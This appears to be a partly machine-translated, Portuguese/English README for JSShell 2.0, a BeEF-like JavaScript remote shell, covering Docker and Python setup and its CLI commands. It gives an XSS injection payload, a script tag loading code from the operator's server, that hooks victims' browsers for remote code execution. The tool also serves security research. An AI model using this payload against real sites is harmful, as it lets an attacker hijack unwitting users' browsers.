Um shell de javascript interativo multi-usuário baseado na web. Foi criado inicialmente para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Essa ferramenta pode ser facilmente anexada à carga útil XSS (Cross Site Scripting) para obter a execução remota de código do navegador (semelhante ao framework BeeF).
A versão 2.0 é criada inteiramente do zero, introduzindo novos recursos interessantes, estabilidade e facilidade de manutenção.
Autor
Daniel Abeles .
Vídeo da Shell

Características
- Suporte multi-cliente
- Suporte a objetos DOM cíclicos
- Pre flight scripts
- Command Queue & Context
- Extensible with Plugins
- Injectable via
<script>
tags - Dumping command output to file
- Shell pagination
Instalação e configuração
Arquivo de configuração
Noresources
diretório, atualize oconfig.json
arquivo com a configuração desejada:
- Host do banco de dados – se estiver executando com o
docker
método de implantação, escolha o host do banco de dados comodb
(que é o nome do host interno). - URL de retorno – o URL que as solicitações seguirão. O
shell.js
arquivo faz algumas chamadas AJAX para registrar e pesquisar novos comandos. Geralmente seráhttp://{YOUR_SERVER_IP}:{PORT}
. - Script de inicialização – um script que é executado automaticamente quando o cliente JSShell CLI é gerado.
- Também é possível apontar para um banco de dados remoto, se desejado.
Docker
This new version instructed installing and running via docker
and docker-compose
. Now, to install and run the entire JSShell framework, simply run:
$ ./start_docker_shell.sh
This will:
- Start and create the database in the background
- Start the web API server that handles incoming connections in the background
- Spawn a new instance of the
JSShell
command line interface container
Regular
If you still want to use the old fashion method of installing, simply make sure you have a MongoDB
database up and running, and update the config.json
file residing in the resources
directory.
I recommend using a virtual environment with pyenv
:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Or using virtualenv
:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Then, install the requirements:
$ pip install -r requirements.txt
Em execução
Se você usou odocker
método, não há necessidade de executar o procedimento a seguir.
Web Server
Caso contrário, uma vez que temos a configuração de banco de dados, é preciso iniciar o servidor web API. Para fazer, execute:
$ python manage.py web
Isso criará e executará um servidor da Web que escuta as conexões de entrada e serve nosso código JSShell.
Shell
Agora para iniciar o JSShell CLI, execute o mesmo script, mas agora com o shell
sinalizador:
$ python manage.py shell
Uso
Após configurar e executar os componentes necessários, insira ohelp
comando para ver os comandos disponíveis:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
O Flow
JSShell suporta dois métodos de operação:
- Shell injetável (semelhante ao framework BeeF)
- Shell hospedado (para depuração)
Shell Injetável
Semelhante a outras estruturas de controle XSS (como BeeF), o JSShell é capaz de gerenciar com sucesso as explorações de XSS. Por exemplo, se você puder injetar uma script
tag, injete o seguinte recurso em sua carga e um novo cliente aparecerá em seu console: <script src="http://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Shell hospedado
Se você deseja depurar navegadores exóticos e esotéricos, basta navegar para http://{YOUR_SERVER_IP}:{PORT}/
e um novo cliente pop-up em seu cliente JSShell CLI. Agora é debuggable através do nosso console JSShell.
[sociallocker id=”1005″]
Download
[/sociallocker]